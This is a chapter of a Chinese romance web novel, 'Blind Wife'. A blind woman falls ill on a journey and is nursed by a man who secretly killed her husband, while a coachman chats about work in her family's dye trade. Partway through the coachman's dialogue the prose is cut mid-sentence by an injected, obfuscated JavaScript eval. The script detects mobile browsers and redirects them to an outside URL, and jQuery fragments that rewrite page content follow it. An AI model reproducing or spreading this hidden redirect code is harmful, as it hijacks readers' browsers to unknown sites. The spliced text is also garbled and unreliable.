12. 高热

作品:《盲妻

    月明雪亮,地上已然铺了一地的白绒雪,雪天路明,齐清梧踏着雪去找马车。


    最后翻遍了整个马车也没有找到那根盲杖。


    他果然忘记将它带来了。


    庆幸闻窈刚也没想起问盲杖的事,只要路途上应该也没什么用到的机会,她应该是记不起了。


    齐清梧回到客栈,马夫招呼着他过去,“那盲女是你什么人?”


    “朋友的妻子。”齐清梧淡然回道。


    马夫咬着干饼小声念,“是吗?”


    他自然是不信的,为朋友的妻子送行又何必要隐瞒着身份。


    .


    羿日,大雪铺地,日光一照波光粼粼,踩起积雪来嘎吱嘎吱的响。


    马夫去牵马,齐清梧则去闻窈门前叫她起床。


    只是他敲了好一会,屋内都没有声响。


    他心下一沉,猛的推开房门。


    榻上的女子闭着眼窝在被褥里,好似跟往日赖床时没什么分明。


    直到齐清梧摸到她的额头,这怕是昨夜还是受了凉发了高热。


    他扭身将门关上,如同往日一般将冬衣给她迅速穿好。


    拿起斗篷抱着她上了马车,吩咐马夫,“快去医馆。”


    到了医馆中,医师把着脉,齐清梧还是手脚冰凉,他怕闻窈是昨夜就染了风寒,如若是一夜高热,那是会死人的。


    “不严重,只是受了凉。”医师看了看两人装束问,“外城人?”


    齐清梧点了点头。


    医师指了指内院一个屋子,“先去那屋歇着,药煮好了先喝药,退热可以用温水敷头。”


    闻窈此刻意识有些许清醒,她强撑着下床,只是刚下榻腿就软了下来。


    齐清梧将她抱进内院,放于床榻上。


    “谢谢你了,小孩。”闻窈虚弱的道谢。


    紧接着齐清梧就端来盆热水,将棉巾敷在她头上散热。


    一个时辰,不知道换了多少盆水,闻窈的脸色才好多了。


    受了风寒,不得受凉,再加之她本就是高热,内火外裹,她感觉胸中像是有火在烧一般,整个人虚弱的抬手都无力。


    头脑昏沉间,她感受的到头上的棉巾凉了后,被人拿去重新浸水敷于头上。


    熟悉的动作让她在昏沉间都忍不住想起之前他为她敷腿时的场景。


    “陈子瀛。”


    闻窈压着牙,使出全身气力一把抓住这人的手,一把摸到了手腕处的不平的厚痂。


    她的手猛的退回,脱力般落在榻上,抓紧被褥。


    “对不起,我认错人了。”


    闻窈想流眼泪,可流不出来,身上太热,热到眼干涩的疼,连一点眼泪也挤不出。


    她又抓住齐清梧的衣袖,“我渴。”


    没过一会,她整个人被托起靠在男人怀里,茶杯触及嘴边,她就下意识的吞咽。


    一连喝了好几杯水,闻窈才觉得她又活了过来。


    齐清梧又拿手背触她的额头,还有些热。


    不过与早上比倒是好多了,他这一个时辰也没白费。


    退了热,闻窈才算真的睡了过去。


    齐清梧此刻看着榻上女子的睡颜,表情却陷入了迷惘之中,他不知道此举到底是对是错。


    闻窈的种种举动都在告诉他,她并不是对他毫不在意。


    可开弓哪有回头箭。


    闻窈睡醒后,她已经不清楚自己到底睡了多久,只觉得整个人酸疼不堪,头痛昏沉,提不起一点力气。


    茫然的听着周围的一切声音。


    ,


    没过一会,她听见门推开又关上的吱呀声。


    临近午时,齐清梧好不容易才买到一份肉粥。


    等他回到医馆,闻窈还是跟他出去时一般茫然的睁着眼睛。


    他扯了扯她的衣袖,然后才将她上身托起,靠在软枕上。


    再将温着的肉粥端到她手边。


    闻窈刚退热,闻着这粥的香气,胃里翻江倒海的恶心。


    她虚弱的道:“我不想吃。”


    齐清梧并不接她递出的粥碗。闻窈端到手累了,也没人来接。


    饿意翻滚而上,她又觉得碗里的肉粥没那么令人作呕了,低头要喝时,碗被人端走了。


    他这次知道从哪可以买粥,这次只买了白粥,加了点白糖。


    刚刚他不接粥碗时,是不想她生病也不吃东西,可等到她愿意妥协去喝的时候,他又觉得这样的她可怜极了。


    再换一碗就好了,又何必委曲求全。


    等闻窈喝完粥,齐清梧又请了医师来了一趟。


    “烧已经退了,幸好没有鼻塞流涕,如果长途跋涉,切勿着凉。”医师把完脉后说。


    闻窈出声道谢:“辛苦您了。”


    马夫也把城中逛完了,正巧赶上医师叮嘱。


    他乐呵呵的作辑:“我们不会让闻小姐着凉的。”


    医师明显不信他这嬉皮笑脸的样子,毕竟照顾人的活都是旁边这个青年干的,他扭身特意叮嘱一句,“这姑娘忧思过重,尽可能让她心情愉悦。不过……”


    他语气顿了顿:“这心情可不是人能干预的。”


    闻窈听他这段转折,不禁笑起来:“我会保持心情愉快的。那我们走了。”


    医师眼睁睁看着那女子上了马车,男人挥动马鞭。


    眼看着马车驾远,医师才一拍头,顿时想起他刚刚想说没想起的话。


    那女子的眼睛若是后天致盲,清除脑中淤血可快些复明。


    他叹了声气,“罢了,左右不过拖个一年时间也能好。”


    闻窈这次是实在的睡饱了,感受着四周的寒气,还是没忍住向外面搭话。


    “外面是不是下雪了?”


    马夫也觉得无趣,话也回的快:“昨夜下的雪可大了,地上厚厚的一层积雪,要不是这次是两人一起驾车,还保不准能按时到苏南。”


    闻窈惊喜道:“那现在还在下雪吗?”


    “下着呢,只不过有点小。”


    闻窈伸出手,期待能有雪花降落在手心。


    齐清梧能看出她眼中的期待,可这驾车时,两人都挡在她面前,怎么能飘到她手里雪花。


    又不能避开,让她见风。


    他拿衣袖小心的捏起小团雪,轻轻丢进她的手心。


    “哇,我感觉这雪团不小啊。”闻窈笑着将化了的雪水贴近脸边。


    马夫驾车时,忍不住又搭话,“闻小姐,你的眼睛是从小就看不见吗?”


    齐清梧眸色一冷,侧头看着那马夫。


    他使劲甩了下马鞭,压根看不见旁边人的眼神。


    闻窈假装轻松:“不是,我前两年贪玩,磕到了脑袋,才看不见的。”


    马夫语气惋惜:“那真倒霉,还不如破相呢。”


    齐清梧闭了闭眼,忍住将身旁的人推下的冲动。


    闻窈莞尔一笑,“我不觉得,虽然破相和眼睛我会选眼睛。可我毕竟之前是看见过这世间万物的,真正称得上可惜的,是从未看见过的盲人。”


    马夫随口附和:“是这样的。”


    四周再次恢复沉寂,独余车轮滚动的声音。


    驾马的人换成齐清梧后,马夫又忍不住问:“你去苏南是探亲吗?嫁的远回趟家也太不容易了。”


    闻窈掀开帘子,脸朝向马鞭的声音:“是,也不是。”


    马夫听不懂这似是而非的一句话转移话题,“闻小姐,你家里做什么生意?”


    “布匹生意。”


    马夫挠了挠头,“缺伙计吗?我娘子总觉得我这活计不稳定,家里还有小孩,她希望我是一个有本领的人,可我到如今也只会御马,驾车。”


    “这年头,官家商户连架马的伙计都只挑院里的家生子来做。我就是再会御马驾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328158|198777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车,也只能接杂活,若是找不到一家子生活就得紧巴巴的过。”


    他自个说了一通,像是胁迫人似的,连忙解释,“闻小姐你实话实说就好,我就是发发牢骚,别不好意思开口。”


    闻窈还几次想说话都被他堵了回去,“我没有不好意思,只是你说的太快了,我插不进嘴。我好久没回家了,不知道染坊还缺人吗?如若缺人你去染坊合适不过,刚去月钱就有四贯,等你学好了技术,染的又快又好还会涨的。”


    “你孩子大吗,若是孩子大了,你娘子也能去绣房做工,按劳拿俸。绣房常是不缺人的,绣的好的绣娘月钱能拿到快一两钱呢。”


    “好嘞好嘞,要是还要人,我带着老小都来平江。”


    马夫听着就仿佛钱已经拿到手里了。


    齐清梧还是第一次听她说这么多话,忍不住回头看她。


    半掀帘子的女子难得的神采奕奕,恍惚间那双无神的双眸好似也布满光彩,笑脸盈盈的看着他。


    马夫看着齐清梧回头失神的模样,及时拿着缰绳控制马车转向。


    他奇怪闻窈明明眼睛看不见,说话却也不朝着他,奇怪这旁边人怎么总一副失魂落魄的样子。


    “我来驾车吧,你要不就马车里歇一会?”


    闻窈听此,将软座里放着的被褥掖了掖。


    “你来歇会吧。生病时多亏你照料我。”


    齐清梧觉得这时的闻窈终于恢复了往日的精神气,他坐在她对面,看着她和马夫聊起染布的工艺,绣花的技巧。


    才明白失去这双眼睛对于她来说是多么大的打击,让她得到了不合适的姻缘,别人的轻视,以及无法与正常人一样的自卑。


    马车颠簸,齐清梧在他们两人的聊天声中睡着了。


    等他再睡醒,起身时被褥滑落下去。


    马车已经停了下来,车里只有他一个人,莫名的恐慌感和窒息感涌上心头,他猛的跳下马车。


    闻窈坐在炊烟袅袅的面摊上,听见他的声音唤他过去,“小哑巴,来吃面。”


    他不知道睡了多长时间,只觉得经历刚刚的惊吓,瞬时的头昏脑涨。


    他都不清楚刚刚的他到底有没有喊出声音。


    城边的面摊上,同样是牛肉面,连香味都好像与那天一样。


    齐清梧压制住午睡醒后莫名其妙的狂躁,缓步走到闻窈身旁坐下。


    热的汤面暖身,吃完面齐清梧感觉手脚都暖和起来。


    马夫先吃完面,牵着马去吃干草,喊齐清梧,“你带着闻小姐去客栈里。”


    两人一路无话,到了客栈,齐清梧当好了热茶,端好盆热水后,准备出去被闻窈叫住。


    “是不是明日就能到平江。”


    齐清梧没回声。


    马夫将马拴好,回头就看见齐清梧又是一副失魂落魄的模样。


    没忍住说,“你是不是喜欢闻小姐?”


    齐清梧抬眸承认,“是。”


    “可闻小姐已经嫁人了,你还是早点死了这条心吧。”


    “她夫君死了。”齐清梧反驳道。


    还是他亲手杀死的。


    马夫:“那你怎么不正大光明的求亲,遮遮掩掩的,做的再多闻小姐也不会知道。”


    “她喜欢她那个死了的郎君。”


    “哦……”


    说完话,齐清梧又看见门外飘起雪花团,“这雪如若下一夜,明日就到不了平江了。”


    马夫:“那是一定的,最晚也要到后日了。”


    齐清梧看着飘如鹅毛的大雪,伸手去接,可雪团都像是长了眼睛似的躲过了。


    老天爷好像在与他作对,他卖猎物的钱被三推四阻的推给了陈江杭,因缘差错下他买下了个妻子,他从愿意留在寺院,到愿意去上京考取功名,最终他连名字都摒弃了,希望得到闻窈的一点点爱。


    事实证明,他最后什么也没留住。